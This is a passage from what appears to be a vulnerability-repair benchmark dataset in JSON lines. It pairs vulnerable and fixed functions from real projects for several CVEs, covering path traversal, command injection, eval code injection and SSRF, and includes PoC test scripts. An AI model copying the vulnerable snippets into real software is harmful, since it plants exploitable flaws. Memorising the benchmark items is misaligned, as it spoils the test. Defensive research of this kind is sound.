\"\\u66f4\\u65b0\\u5931\\u8d25\\uff0c\\u8bf7\\u5c1d\\u8bd5[\\u624b\\u52a8\\u66f4\\u65b0](https://github.com/GaiZhenbiao/ChuanhuChatGPT/wiki/\\u4f7f\\u7528\\u6559\\u7a0b#\\u624b\\u52a8\\u66f4\\u65b0)\"\n+            )\n+            + status\n+        )\n\n--- /dev/null\n+++ b/ChuanhuChatbot.py\n@@ -0,0 +1 @@\n+from modules.config import retrieve_proxy, hide_history_when_not_logged_in, admin_list\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2024-5823:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/chuanhuchatgpt\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\n/workspace/PoC_env/CVE-2024-5823/bin/python  hand_test.py\n", "unit_test_cmd": null}
{"cve_id": "CVE-2022-46959", "cve_description": "An issue in the component /admin/backups/work-dir of Sonic v1.0.4 allows attackers to execute a directory traversal.", "cwe_info": {"CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/go-sonic/sonic", "patch_url": ["https://github.com/go-sonic/sonic/commit/5b826db82550b72d23ad74ffda755981a4b6abd9"], "programing_language": "Go", "vul_func": [{"id": "vul_go_194_1", "commit": "c97d242", "file_path": "service/impl/backup.go", "start_line": 49, "end_line": 75, "snippet": "func (b *backupServiceImpl) BackupWholeSite(ctx context.Context, toBackupItems []string) (*dto.BackupDTO, error) {\n\tbackupFilename := consts.SonicBackupPrefix + time.Now().Format(\"2006-01-02-15-04-05\") + util.GenUUIDWithOutDash() + \".zip\"\n\tbackupFilePath := config.BackupDir\n\n\tif _, err := os.Stat(backupFilePath); os.IsNotExist(err) {\n\t\terr = os.MkdirAll(backupFilePath, os.ModePerm)\n\t\tif err != nil {\n\t\t\treturn nil, xerr.NoType.Wrap(err).WithMsg(\"create dir err\")\n\t\t}\n\t} else if err != nil {\n\t\treturn nil, xerr.NoType.Wrap(err).WithMsg(\"get fileInfo\")\n\t}\n\n\tbackupFile := filepath.Join(backupFilePath, backupFilename)\n\n\ttoBackupPaths := []string{}\n\tfor _, toBackupItem := range toBackupItems {\n\t\ttoBackupPath := filepath.Join(b.Config.Sonic.WorkDir, toBackupItem)\n\t\ttoBackupPaths = append(toBackupPaths, toBackupPath)\n\t}\n\n\terr := util.ZipFile(backupFile, toBackupPaths...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn b.buildBackupDTO(ctx, string(service.WholeSite), backupFile)\n}"}], "fix_func": [{"id": "fix_go_194_1", "commit": "5b826db", "file_path": "service/impl/backup.go", "start_line": 49, "end_line": 78, "snippet": "func (b *backupServiceImpl) BackupWholeSite(ctx context.Context, toBackupItems []string) (*dto.BackupDTO, error) {\n\tbackupFilename := consts.SonicBackupPrefix + time.Now().Format(\"2006-01-02-15-04-05\") + util.GenUUIDWithOutDash() + \".zip\"\n\tbackupFilePath := config.BackupDir\n\n\tif _, err := os.Stat(backupFilePath); os.IsNotExist(err) {\n\t\terr = os.MkdirAll(backupFilePath, os.ModePerm)\n\t\tif err != nil {\n\t\t\treturn nil, xerr.NoType.Wrap(err).WithMsg(\"create dir err\")\n\t\t}\n\t} else if err != nil {\n\t\treturn nil, xerr.NoType.Wrap(err).WithMsg(\"get fileInfo\")\n\t}\n\n\tbackupFile := filepath.Join(backupFilePath, backupFilename)\n\n\ttoBackupPaths := []string{}\n\tfor _, toBackupItem := range toBackupItems {\n\t\ttoBackupPath := filepath.Clean(filepath.Join(b.Config.Sonic.WorkDir, toBackupItem))\n\t\tif !strings.HasPrefix(toBackupPath, b.Config.Sonic.WorkDir) {\n\t\t\tcontinue\n\t\t}\n\t\ttoBackupPaths = append(toBackupPaths, toBackupPath)\n\t}\n\n\terr := util.ZipFile(backupFile, toBackupPaths...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn b.buildBackupDTO(ctx, string(service.WholeSite), backupFile)\n}"}], "vul_patch": "--- a/service/impl/backup.go\n+++ b/service/impl/backup.go\n@@ -15,7 +15,10 @@\n \n \ttoBackupPaths := []string{}\n \tfor _, toBackupItem := range toBackupItems {\n-\t\ttoBackupPath := filepath.Join(b.Config.Sonic.WorkDir, toBackupItem)\n+\t\ttoBackupPath := filepath.Clean(filepath.Join(b.Config.Sonic.WorkDir, toBackupItem))\n+\t\tif !strings.HasPrefix(toBackupPath, b.Config.Sonic.WorkDir) {\n+\t\t\tcontinue\n+\t\t}\n \t\ttoBackupPaths = append(toBackupPaths, toBackupPath)\n \t}\n \n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2016-4444", "cve_description": "The allow_execmod plugin for setroubleshoot before 3.2.23 allows local users to execute arbitrary commands by triggering an execmod SELinux denial with a crafted binary filename, related to the commands.getstatusoutput function.", "cwe_info": {"CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}}, "repo": "https://github.com/fedora-selinux/setroubleshoot", "patch_url": ["https://github.com/fedora-selinux/setroubleshoot/commit/5cd60033ea7f5bdf8c19c27b23ea2d773d9b09f5"], "programing_language": "Python", "vul_func": [{"id": "vul_py_196_1", "commit": "2d12677", "file_path": "plugins/src/allow_execmod.py", "start_line": 93, "end_line": 103, "snippet": "    def analyze(self, avc):\n        import commands\n        if avc.has_any_access_in(['execmod']):\n            # MATCH\n            if (commands.getstatusoutput(\"eu-readelf -d %s | fgrep -q TEXTREL\" % avc.tpath)[0] == 1):\n                return self.report((\"unsafe\"))\n\n            mcon = selinux.matchpathcon(avc.tpath.strip('\"'), S_IFREG)[1]\n            if mcon.split(\":\")[2] == \"lib_t\":\n                return self.report()\n        return None"}], "fix_func": [{"id": "fix_py_196_1", "commit": "5cd6003", "file_path": "plugins/src/allow_execmod.py", "start_line": 93, "end_line": 109, "snippet": "    def analyze(self, avc):\n        import subprocess\n        if avc.has_any_access_in(['execmod']):\n            # MATCH\n            # from https://docs.python.org/2.7/library/subprocess.html#replacing-shell-pipeline\n            p1 = subprocess.Popen(['eu-readelf', '-d', avc.tpath], stdout=subprocess.PIPE)\n            p2 = subprocess.Popen([\"fgrep\", \"-q\", \"TEXTREL\"], stdin=p1.stdout, stdout=subprocess.PIPE)\n            p1.stdout.close()  # Allow p1 to receive a SIGPIPE if p2 exits.\n            p1.wait()\n            p2.wait()\n            if p2.returncode == 1:\n                return self.report((\"unsafe\"))\n\n            mcon = selinux.matchpathcon(avc.tpath.strip('\"'), S_IFREG)[1]\n            if mcon.split(\":\")[2] == \"lib_t\":\n                return self.report()\n        return None"}], "vul_patch": "--- a/plugins/src/allow_execmod.py\n+++ b/plugins/src/allow_execmod.py\n@@ -1,8 +1,14 @@\n     def analyze(self, avc):\n-        import commands\n+        import subprocess\n         if avc.has_any_access_in(['execmod']):\n             # MATCH\n-            if (commands.getstatusoutput(\"eu-readelf -d %s | fgrep -q TEXTREL\" % avc.tpath)[0] == 1):\n+            # from https://docs.python.org/2.7/library/subprocess.html#replacing-shell-pipeline\n+            p1 = subprocess.Popen(['eu-readelf', '-d', avc.tpath], stdout=subprocess.PIPE)\n+            p2 = subprocess.Popen([\"fgrep\", \"-q\", \"TEXTREL\"], stdin=p1.stdout, stdout=subprocess.PIPE)\n+            p1.stdout.close()  # Allow p1 to receive a SIGPIPE if p2 exits.\n+            p1.wait()\n+            p2.wait()\n+            if p2.returncode == 1:\n                 return self.report((\"unsafe\"))\n \n             mcon = selinux.matchpathcon(avc.tpath.strip('\"'), S_IFREG)[1]\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-8374", "cve_description": "UltiMaker Cura slicer versions 5.7.0-beta.1 through 5.7.2 are vulnerable to code injection via the 3MF format reader (/plugins/ThreeMFReader.py). The vulnerability arises from improper handling of the drop_to_buildplate property within 3MF files, which are ZIP archives containing the model data. When a 3MF file is loaded in Cura, the value of the drop_to_buildplate property is passed to the Python eval() function without proper sanitization, allowing an attacker to execute arbitrary code by crafting a malicious 3MF file. This vulnerability poses a significant risk as 3MF files are commonly shared via 3D model databases.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}}, "repo": "https://github.com/Ultimaker/Cura", "patch_url": ["https://github.com/Ultimaker/Cura/commit/285a241eb28da3188c977f85d68937c0dad79c50"], "programing_language": "Python", "vul_func": [{"id": "vul_py_130_1", "commit": "2d85e9f", "file_path": "plugins/3MFReader/ThreeMFReader.py", "start_line": 96, "end_line": 216, "snippet": "    def _convertSavitarNodeToUMNode(savitar_node: Savitar.SceneNode, file_name: str = \"\") -> Optional[SceneNode]:\n        \"\"\"Convenience function that converts a SceneNode object (as obtained from libSavitar) to a scene node.\n\n        :returns: Scene node.\n        \"\"\"\n        try:\n            node_name = savitar_node.getName()\n            node_id = savitar_node.getId()\n        except AttributeError:\n            Logger.log(\"e\", \"Outdated version of libSavitar detected! Please update to the newest version!\")\n            node_name = \"\"\n            node_id = \"\"\n\n        if node_name == \"\":\n            if file_name != \"\":\n                node_name = os.path.basename(file_name)\n            else:\n                node_name = \"Object {}\".format(node_id)\n\n        active_build_plate = CuraApplication.getInstance().getMultiBuildPlateModel().activeBuildPlate\n\n        um_node = CuraSceneNode() # This adds a SettingOverrideDecorator\n        um_node.addDecorator(BuildPlateDecorator(active_build_plate))\n        try:\n            um_node.addDecorator(ConvexHullDecorator())\n        except:\n            pass\n        um_node.setName(node_name)\n        um_node.setId(node_id)\n        transformation = ThreeMFReader._createMatrixFromTransformationString(savitar_node.getTransformation())\n        um_node.setTransformation(transformation)\n        mesh_builder = MeshBuilder()\n\n        data = numpy.fromstring(savitar_node.getMeshData().getFlatVerticesAsBytes(), dtype=numpy.float32)\n\n        vertices = numpy.resize(data, (int(data.size / 3), 3))\n        mesh_builder.setVertices(vertices)\n        mesh_builder.calculateNormals(fast=True)\n        if file_name:\n            # The filename is used to give the user the option to reload the file if it is changed on disk\n            # It is only set for the root node of the 3mf file\n            mesh_builder.setFileName(file_name)\n        mesh_data = mesh_builder.build()\n\n        if len(mesh_data.getVertices()):\n            um_node.setMeshData(mesh_data)\n\n        for child in savitar_node.getChildren():\n            child_node = ThreeMFReader._convertSavitarNodeToUMNode(child)\n            if child_node:\n                um_node.addChild(child_node)\n\n        if um_node.getMeshData() is None and len(um_node.getChildren()) == 0:\n            return None\n\n        settings = savitar_node.getSettings()\n\n        # Add the setting override decorator, so we can add settings to this node.\n        if settings:\n            global_container_stack = CuraApplication.getInstance().getGlobalContainerStack()\n\n            # Ensure the correct next container for the SettingOverride decorator is set.\n            if global_container_stack:\n                default_stack = ExtruderManager.getInstance().getExtruderStack(0)\n\n                if default_stack:\n                    um_node.callDecoration(\"setActiveExtruder\", default_stack.getId())\n\n                # Get the definition & set it\n                definition_id = ContainerTree.getInstance().machines[global_container_stack.definition.getId()].quality_definition\n                um_node.callDecoration(\"getStack\").getTop().setDefinition(definition_id)\n\n            setting_container = um_node.callDecoration(\"getStack\").getTop()\n            known_setting_keys = um_node.callDecoration(\"getStack\").getAllKeys()\n            for key in settings:\n                setting_value = settings[key].value\n\n                # Extruder_nr is a special case.\n                if key == \"extruder_nr\":\n                    extruder_stack = ExtruderManager.getInstance().getExtruderStack(int(setting_value))\n                    if extruder_stack:\n                        um_node.callDecoration(\"setActiveExtruder\", extruder_stack.getId())\n                    else:\n                        Logger.log(\"w\", \"Unable to find extruder in position %s\", setting_value)\n                    continue\n                if key == \"print_order\":\n                    um_node.printOrder = int(setting_value)\n                    continue\n                if key ==\"drop_to_buildplate\":\n                    um_node.setSetting(SceneNodeSettings.AutoDropDown, eval(setting_value))\n                    continue\n                if key in known_setting_keys:\n                    setting_container.setProperty(key, \"value\", setting_value)\n                else:\n                    um_node.metadata[key] = settings[key]\n\n        if len(um_node.getChildren()) > 0 and um_node.getMeshData() is None:\n            if len(um_node.getAllChildren()) == 1:\n                # We don't want groups of one, so move the node up one \"level\"\n                child_node = um_node.getChildren()[0]\n                # Move all the meshes of children so that toolhandles are shown in the correct place.\n                if child_node.getMeshData():\n                    extents = child_node.getMeshData().getExtents()\n                    move_matrix = Matrix()\n                    move_matrix.translate(-extents.center)\n                    child_node.setMeshData(child_node.getMeshData().getTransformed(move_matrix))\n                    child_node.translate(extents.center)\n                parent_transformation = um_node.getLocalTransformation()\n                child_transformation = child_node.getLocalTransformation()\n                child_node.setTransformation(parent_transformation.multiply(child_transformation))\n                um_node = cast(CuraSceneNode, um_node.getChildren()[0])\n            else:\n                group_decorator = GroupDecorator()\n                um_node.addDecorator(group_decorator)\n        um_node.setSelectable(True)\n        if um_node.getMeshData():\n            # Assuming that all nodes with mesh data are printable objects\n            # affects (auto) slicing\n            sliceable_decorator = SliceableObjectDecorator()\n            um_node.addDecorator(sliceable_decorator)\n        return um_node"}], "fix_func": [{"id": "fix_py_130_1", "commit": "285a241", "file_path": "plugins/3MFReader/ThreeMFReader.py", "start_line": 97, "end_line": 217, "snippet": "    def _convertSavitarNodeToUMNode(savitar_node: Savitar.SceneNode, file_name: str = \"\") -> Optional[SceneNode]:\n        \"\"\"Convenience function that converts a SceneNode object (as obtained from libSavitar) to a scene node.\n\n        :returns: Scene node.\n        \"\"\"\n        try:\n            node_name = savitar_node.getName()\n            node_id = savitar_node.getId()\n        except AttributeError:\n            Logger.log(\"e\", \"Outdated version of libSavitar detected! Please update to the newest version!\")\n            node_name = \"\"\n            node_id = \"\"\n\n        if node_name == \"\":\n            if file_name != \"\":\n                node_name = os.path.basename(file_name)\n            else:\n                node_name = \"Object {}\".format(node_id)\n\n        active_build_plate = CuraApplication.getInstance().getMultiBuildPlateModel().activeBuildPlate\n\n        um_node = CuraSceneNode() # This adds a SettingOverrideDecorator\n        um_node.addDecorator(BuildPlateDecorator(active_build_plate))\n        try:\n            um_node.addDecorator(ConvexHullDecorator())\n        except:\n            pass\n        um_node.setName(node_name)\n        um_node.setId(node_id)\n        transformation = ThreeMFReader._createMatrixFromTransformationString(savitar_node.getTransformation())\n        um_node.setTransformation(transformation)\n        mesh_builder = MeshBuilder()\n\n        data = numpy.fromstring(savitar_node.getMeshData().getFlatVerticesAsBytes(), dtype=numpy.float32)\n\n        vertices = numpy.resize(data, (int(data.size / 3), 3))\n        mesh_builder.setVertices(vertices)\n        mesh_builder.calculateNormals(fast=True)\n        if file_name:\n            # The filename is used to give the user the option to reload the file if it is changed on disk\n            # It is only set for the root node of the 3mf file\n            mesh_builder.setFileName(file_name)\n        mesh_data = mesh_builder.build()\n\n        if len(mesh_data.getVertices()):\n            um_node.setMeshData(mesh_data)\n\n        for child in savitar_node.getChildren():\n            child_node = ThreeMFReader._convertSavitarNodeToUMNode(child)\n            if child_node:\n                um_node.addChild(child_node)\n\n        if um_node.getMeshData() is None and len(um_node.getChildren()) == 0:\n            return None\n\n        settings = savitar_node.getSettings()\n\n        # Add the setting override decorator, so we can add settings to this node.\n        if settings:\n            global_container_stack = CuraApplication.getInstance().getGlobalContainerStack()\n\n            # Ensure the correct next container for the SettingOverride decorator is set.\n            if global_container_stack:\n                default_stack = ExtruderManager.getInstance().getExtruderStack(0)\n\n                if default_stack:\n                    um_node.callDecoration(\"setActiveExtruder\", default_stack.getId())\n\n                # Get the definition & set it\n                definition_id = ContainerTree.getInstance().machines[global_container_stack.definition.getId()].quality_definition\n                um_node.callDecoration(\"getStack\").getTop().setDefinition(definition_id)\n\n            setting_container = um_node.callDecoration(\"getStack\").getTop()\n            known_setting_keys = um_node.callDecoration(\"getStack\").getAllKeys()\n            for key in settings:\n                setting_value = settings[key].value\n\n                # Extruder_nr is a special case.\n                if key == \"extruder_nr\":\n                    extruder_stack = ExtruderManager.getInstance().getExtruderStack(int(setting_value))\n                    if extruder_stack:\n                        um_node.callDecoration(\"setActiveExtruder\", extruder_stack.getId())\n                    else:\n                        Logger.log(\"w\", \"Unable to find extruder in position %s\", setting_value)\n                    continue\n                if key == \"print_order\":\n                    um_node.printOrder = int(setting_value)\n                    continue\n                if key ==\"drop_to_buildplate\":\n                    um_node.setSetting(SceneNodeSettings.AutoDropDown, parseBool(setting_value))\n                    continue\n                if key in known_setting_keys:\n                    setting_container.setProperty(key, \"value\", setting_value)\n                else:\n                    um_node.metadata[key] = settings[key]\n\n        if len(um_node.getChildren()) > 0 and um_node.getMeshData() is None:\n            if len(um_node.getAllChildren()) == 1:\n                # We don't want groups of one, so move the node up one \"level\"\n                child_node = um_node.getChildren()[0]\n                # Move all the meshes of children so that toolhandles are shown in the correct place.\n                if child_node.getMeshData():\n                    extents = child_node.getMeshData().getExtents()\n                    move_matrix = Matrix()\n                    move_matrix.translate(-extents.center)\n                    child_node.setMeshData(child_node.getMeshData().getTransformed(move_matrix))\n                    child_node.translate(extents.center)\n                parent_transformation = um_node.getLocalTransformation()\n                child_transformation = child_node.getLocalTransformation()\n                child_node.setTransformation(parent_transformation.multiply(child_transformation))\n                um_node = cast(CuraSceneNode, um_node.getChildren()[0])\n            else:\n                group_decorator = GroupDecorator()\n                um_node.addDecorator(group_decorator)\n        um_node.setSelectable(True)\n        if um_node.getMeshData():\n            # Assuming that all nodes with mesh data are printable objects\n            # affects (auto) slicing\n            sliceable_decorator = SliceableObjectDecorator()\n            um_node.addDecorator(sliceable_decorator)\n        return um_node"}], "vul_patch": "--- a/plugins/3MFReader/ThreeMFReader.py\n+++ b/plugins/3MFReader/ThreeMFReader.py\n@@ -87,7 +87,7 @@\n                     um_node.printOrder = int(setting_value)\n                     continue\n                 if key ==\"drop_to_buildplate\":\n-                    um_node.setSetting(SceneNodeSettings.AutoDropDown, eval(setting_value))\n+                    um_node.setSetting(SceneNodeSettings.AutoDropDown, parseBool(setting_value))\n                     continue\n                 if key in known_setting_keys:\n                     setting_container.setProperty(key, \"value\", setting_value)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-29028", "cve_description": "memos is a privacy-first, lightweight note-taking service. In memos 0.13.2, an SSRF vulnerability exists at the /o/get/httpmeta that allows unauthenticated users to enumerate the internal network and receive limited html values in json form. This vulnerability is fixed in 0.16.1.", "cwe_info": {"CWE-918": {"name": "Server-Side Request Forgery (SSRF)", "description": "The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination."}}, "repo": "https://github.com/usememos/memos", "patch_url": ["https://github.com/usememos/memos/commit/6ffc09d86a1302c384ef085aa70c7bddb3ce7ba9"], "programing_language": "Go", "vul_func": [{"id": "vul_go_126_1", "commit": "125c9c9", "file_path": "api/v1/http_getter.go", "start_line": 13, "end_line": 19, "snippet": "func (*APIV1Service) registerGetterPublicRoutes(g *echo.Group) {\n\t// GET /get/httpmeta?url={url} - Get website meta.\n\tg.GET(\"/get/httpmeta\", GetWebsiteMetadata)\n\n\t// GET /get/image?url={url} - Get image.\n\tg.GET(\"/get/image\", GetImage)\n}"}, {"id": "vul_go_126_2", "commit": "125c9c9", "file_path": "api/v1/http_getter.go", "start_line": 21, "end_line": 45, "snippet": "// GetWebsiteMetadata godoc\n//\n//\t@Summary\tGet website metadata\n//\t@Tags\t\tget\n//\t@Produce\tjson\n//\t@Param\t\turl\tquery\t\tstring\t\t\ttrue\t\"Website URL\"\n//\t@Success\t200\t{object}\tgetter.HTMLMeta\t\"Extracted metadata\"\n//\t@Failure\t400\t{object}\tnil\t\t\t\t\"Missing website url | Wrong url\"\n//\t@Failure\t406\t{object}\tnil\t\t\t\t\"Failed to get website meta with url: %s\"\n//\t@Router\t\t/o/get/GetWebsiteMetadata [GET]\nfunc GetWebsiteMetadata(c echo.Context) error {\n\turlStr := c.QueryParam(\"url\")\n\tif urlStr == \"\" {\n\t\treturn echo.NewHTTPError(http.StatusBadRequest, \"Missing website url\")\n\t}\n\tif _, err := url.Parse(urlStr); err != nil {\n\t\treturn echo.NewHTTPError(http.StatusBadRequest, \"Wrong url\").SetInternal(err)\n\t}\n\n\thtmlMeta, err := getter.GetHTMLMeta(urlStr)\n\tif err != nil {\n\t\treturn echo.NewHTTPError(http.StatusNotAcceptable, fmt.Sprintf(\"Failed to get website meta with url: %s\", urlStr)).SetInternal(err)\n\t}\n\treturn c.JSON(http.StatusOK, htmlMeta)\n}"}], "fix_func": [{"id": "fix_go_126_1", "commit": "6ffc09d", "file_path": "api/v1/http_getter.go", "start_line": 13, "end_line": 16, "snippet": "func (*APIV1Service) registerGetterPublicRoutes(g *echo.Group) {\n\t// GET /get/image?url={url} - Get image.\n\tg.GET(\"/get/image\", GetImage)\n}"}], "vul_patch": "--- a/api/v1/http_getter.go\n+++ b/api/v1/http_getter.go\n@@ -1,7 +1,4 @@\n func (*APIV1Service) registerGetterPublicRoutes(g *echo.Group) {\n-\t// GET /get/httpmeta?url={url} - Get website meta.\n-\tg.GET(\"/get/httpmeta\", GetWebsiteMetadata)\n-\n \t// GET /get/image?url={url} - Get image.\n \tg.GET(\"/get/image\", GetImage)\n }\n\n--- a/api/v1/http_getter.go\n+++ /dev/null\n@@ -1,25 +0,0 @@\n-// GetWebsiteMetadata godoc\n-//\n-//\t@Summary\tGet website metadata\n-//\t@Tags\t\tget\n-//\t@Produce\tjson\n-//\t@Param\t\turl\tquery\t\tstring\t\t\ttrue\t\"Website URL\"\n-//\t@Success\t200\t{object}\tgetter.HTMLMeta\t\"Extracted metadata\"\n-//\t@Failure\t400\t{object}\tnil\t\t\t\t\"Missing website url | Wrong url\"\n-//\t@Failure\t406\t{object}\tnil\t\t\t\t\"Failed to get website meta with url: %s\"\n-//\t@Router\t\t/o/get/GetWebsiteMetadata [GET]\n-func GetWebsiteMetadata(c echo.Context) error {\n-\turlStr := c.QueryParam(\"url\")\n-\tif urlStr == \"\" {\n-\t\treturn echo.NewHTTPError(http.StatusBadRequest, \"Missing website url\")\n-\t}\n-\tif _, err := url.Parse(urlStr); err != nil {\n-\t\treturn echo.NewHTTPError(http.StatusBadRequest, \"Wrong url\").SetInternal(err)\n-\t}\n-\n-\thtmlMeta, err := getter.GetHTMLMeta(urlStr)\n-\tif err != nil {\n-\t\treturn echo.NewHTTPError(http.StatusNotAcceptable, fmt.Sprintf(\"Failed to get website meta with url: %s\", urlStr)).SetInternal(err)\n-\t}\n-\treturn c.JSON(http.StatusOK, htmlMeta)\n-}\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-36157", "cve_description": "An issue was discovered in Grafana Cortex through 1.9.0. The header value X-Scope-OrgID is used to construct file paths for rules files, and if crafted to conduct directory traversal such as ae ../../sensitive/path/in/deployment pathname, then Cortex will attempt to parse a rules file at that location and include some of the contents in the error message. (Other Cortex API requests can also be sent a malicious OrgID header, e.g., tricking the ingester into writing metrics to a different location, but the effect is nuisance rather than information disclosure.)", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/cortexproject/cortex", "patch_url": ["https://github.com/cortexproject/cortex/commit/d9e1f81f40c607b9e97c2fc6db70ae54679917c4"], "programing_language": "Go", "vul_func": [{"id": "vul_go_22_1", "commit": "1e4e0ca", "file_path": "pkg/tenant/resolver.go", "start_line": 67, "end_line": 74, "snippet": "func (t *SingleResolver) TenantIDs(ctx context.Context) ([]string, error) {\n\t//lint:ignore faillint wrapper around upstream method\n\torgID, err := user.ExtractOrgID(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn []string{orgID}, err\n}"}], "fix_func": [{"id": "fix_go_22_1", "commit": "d9e1f81", "file_path": "pkg/tenant/resolver.go", "start_line": 91, "end_line": 97, "snippet": "func (t *SingleResolver) TenantIDs(ctx context.Context) ([]string, error) {\n\torgID, err := t.TenantID(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn []string{orgID}, err\n}"}, {"id": "fix_go_22_2", "commit": "d9e1f81", "file_path": "pkg/tenant/resolver.go", "start_line": 66, "end_line": 75, "snippet": "func containsUnsafePathSegments(id string) bool {\n\t// handle the relative reference to current and parent path.\n\tif id == \".\" || id == \"..\" {\n\t\treturn true\n\t}\n\n\treturn strings.ContainsAny(id, \"\\\\/\")\n}\n\nvar errInvalidTenantID = errors.New(\"invalid tenant ID\")"}, {"id": "fix_go_22_3", "commit": "d9e1f81", "file_path": "pkg/tenant/resolver.go", "start_line": 77, "end_line": 89, "snippet": "func (t *SingleResolver) TenantID(ctx context.Context) (string, error) {\n\t//lint:ignore faillint wrapper around upstream method\n\tid, err := user.ExtractOrgID(ctx)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tif containsUnsafePathSegments(id) {\n\t\treturn \"\", errInvalidTenantID\n\t}\n\n\treturn id, nil\n}"}], "vul_patch": "--- a/pkg/tenant/resolver.go\n+++ b/pkg/tenant/resolver.go\n@@ -1,6 +1,5 @@\n func (t *SingleResolver) TenantIDs(ctx context.Context) ([]string, error) {\n-\t//lint:ignore faillint wrapper around upstream method\n-\torgID, err := user.ExtractOrgID(ctx)\n+\torgID, err := t.TenantID(ctx)\n \tif err != nil {\n \t\treturn nil, err\n \t}\n\n--- /dev/null\n+++ b/pkg/tenant/resolver.go\n@@ -0,0 +1,10 @@\n+func containsUnsafePathSegments(id string) bool {\n+\t// handle the relative reference to current and parent path.\n+\tif id == \".\" || id == \"..\" {\n+\t\treturn true\n+\t}\n+\n+\treturn strings.ContainsAny(id, \"\\\\/\")\n+}\n+\n+var errInvalidTenantID = errors.New(\"invalid tenant ID\")\n\n--- /dev/null\n+++ b/pkg/tenant/resolver.go\n@@ -0,0 +1,13 @@\n+func (t *SingleResolver) TenantID(ctx context.Context) (string, error) {\n+\t//lint:ignore faillint wrapper around upstream method\n+\tid, err := user.ExtractOrgID(ctx)\n+\tif err != nil {\n+\t\treturn \"\", err\n+\t}\n+\n+\tif containsUnsafePathSegments(id) {\n+\t\treturn \"\", errInvalidTenantID\n+\t}\n+\n+\treturn id, nil\n+}\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2021-36157:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/cortex\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ngo test   -timeout 30s -run ^TestSingleResolver$ github.com/cortexproject/cortex/pkg/tenant\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2021-36157:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/cortex\ngit apply --whitespace=nowarn /workspace/fix.patch\ngo test -timeout 30s -run '^(TestSingleResolver|TestMultiResolver)$' github.com/cortexproject/cortex/pkg/tenant\n"}
{"cve_id": "CVE-2020-7675", "cve_description": "cd-messenger through 2.7.26 is vulnerable to Arbitrary Code Execution. User input provided to the `color` argument executed by the `eval` function resulting in code execution.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}}, "repo": "https://github.com/mikeerickson/cd-messenger", "patch_url": ["https://github.com/mikeerickson/cd-messenger/commit/cbdf7d8c06463388fd4f088bfbdc5eeaa65eba56"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_12_1", "commit": "f0ebcff", "file_path": "src/messenger-node.js", "start_line": "68", "end_line": "77", "snippet": "  line: color => {\n    if (color.length > 0) {\n      try {\n        eval(`cl.${color}()`); // eslint-disable-line\n      }\n      catch (e) {\n        console.error(chalk.bgRed.bold(`Invalid Color: ${color}`));\n      }\n    }\n  },"}], "fix_func": [{"id": "fix_js_12_1", "commit": "cbdf7d8", "file_path": "src/messenger-node.js", "start_line": 68, "end_line": 77, "snippet": "  line: color => {\n    if (color.length > 0) {\n      if (typeof cl[color] === 'function') {\n        cl[color]();\n      }\n      else {\n        console.error(chalk.bgRed.bold(`Invalid Color: ${color}`));\n      }\n    }\n  },"}], "vul_patch": "--- a/src/messenger-node.js\n+++ b/src/messenger-node.js\n@@ -1,9 +1,9 @@\n   line: color => {\n     if (color.length > 0) {\n-      try {\n-        eval(`cl.${color}()`); // eslint-disable-line\n+      if (typeof cl[color] === 'function') {\n+        cl[color]();\n       }\n-      catch (e) {\n+      else {\n         console.error(chalk.bgRed.bold(`Invalid Color: ${color}`));\n       }\n     }\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2020-7675:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/cd-messenger\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\njest ./poc\n", "unit_test_cmd": null}
